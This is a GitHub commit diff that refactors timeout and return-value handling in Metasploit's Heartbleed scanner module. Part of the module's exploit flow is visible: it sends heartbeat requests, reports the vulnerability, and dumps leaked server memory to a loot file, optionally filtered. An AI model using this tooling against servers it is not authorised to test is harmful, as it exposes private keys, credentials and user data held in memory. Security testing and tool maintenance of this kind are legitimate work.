Skip to content

Commit 2366f77

Browse files
committed
Clean timeout handling code
1 parent e38f4cb commit 2366f77

File tree

1 file changed

+46
-35
lines changed

1 file changed

+46
-35
lines changed

modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

Lines changed: 46 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -169,6 +169,11 @@ def run
169169
return
170170
end
171171

172+
if response_timeout < 0
173+
print_error("RESPONSE_TIMEOUT should be bigger than 0")
174+
return
175+
end
176+
172177
super
173178
end
174179

@@ -295,10 +300,10 @@ def run_host(ip)
295300
end
296301
end
297302

298-
def bleed()
303+
def bleed
299304
# This actually performs the heartbleed portion
300305
connect_result = establish_connect
301-
return :timeout if (connect_result) == :timeout
306+
return if connect_result.nil?
302307

303308
vprint_status("#{peer} - Sending Heartbeat...")
304309
sock.put(heartbeat(heartbeat_length))
@@ -343,39 +348,43 @@ def bleed()
343348
end
344349

345350
def loot_and_report(heartbeat_data)
346-
return if heartbeat_data == :timeout
347-
if heartbeat_data
348-
print_good("#{peer} - Heartbeat response with leak")
349-
report_vuln({
350-
:host => rhost,
351-
:port => rport,
352-
:name => self.name,
353-
:refs => self.references,
354-
:info => "Module #{self.fullname} successfully leaked info"
355-
})
356-
if action.name == 'DUMP' # Check mode, dump if requested.
357-
pattern = datastore['DUMPFILTER']
358-
if pattern
359-
match_data = heartbeat_data.scan(pattern).join
360-
else
361-
match_data = heartbeat_data
362-
end
363-
path = store_loot(
364-
"openssl.heartbleed.server",
365-
"application/octet-stream",
366-
rhost,
367-
match_data,
368-
nil,
369-
"OpenSSL Heartbleed server memory"
370-
)
371-
print_status("#{peer} - Heartbeat data stored in #{path}")
372-
end
373-
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
351+
352+
unless heartbeat_data
353+
vprint_error("#{peer} - Looks like there isn't leaked information...")
354+
return
355+
end
356+
357+
print_good("#{peer} - Heartbeat response with leak")
358+
report_vuln({
359+
:host => rhost,
360+
:port => rport,
361+
:name => self.name,
362+
:refs => self.references,
363+
:info => "Module #{self.fullname} successfully leaked info"
364+
})
365+
366+
if action.name == 'DUMP' # Check mode, dump if requested.
367+
pattern = datastore['DUMPFILTER']
368+
if pattern
369+
match_data = heartbeat_data.scan(pattern).join
374370
else
375-
vprint_error("#{peer} - Looks like there isn't leaked information...")
371+
match_data = heartbeat_data
376372
end
373+
path = store_loot(
374+
"openssl.heartbleed.server",
375+
"application/octet-stream",
376+
rhost,
377+
match_data,
378+
nil,
379+
"OpenSSL Heartbleed server memory"
380+
)
381+
print_status("#{peer} - Heartbeat data stored in #{path}")
377382
end
378383

384+
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
385+
386+
end
387+
379388
def getkeys()
380389
unless datastore['TLS_CALLBACK'] == 'None'
381390
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
@@ -508,7 +517,7 @@ def establish_connect
508517
res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACK']])
509518
if res.nil?
510519
vprint_error("#{peer} - STARTTLS failed...")
511-
return
520+
return nil
512521
end
513522
end
514523

@@ -519,13 +528,15 @@ def establish_connect
519528
unless server_hello
520529
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
521530
disconnect
522-
return :timeout
523-
end
531+
return nil
532+
end
524533

525534
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
526535
vprint_error("#{peer} - Server Hello Not Found")
527-
return
536+
return nil
528537
end
538+
539+
true
529540
end
530541

531542
def key_from_pqe(p, q, e)

0 commit comments

Comments
 (0)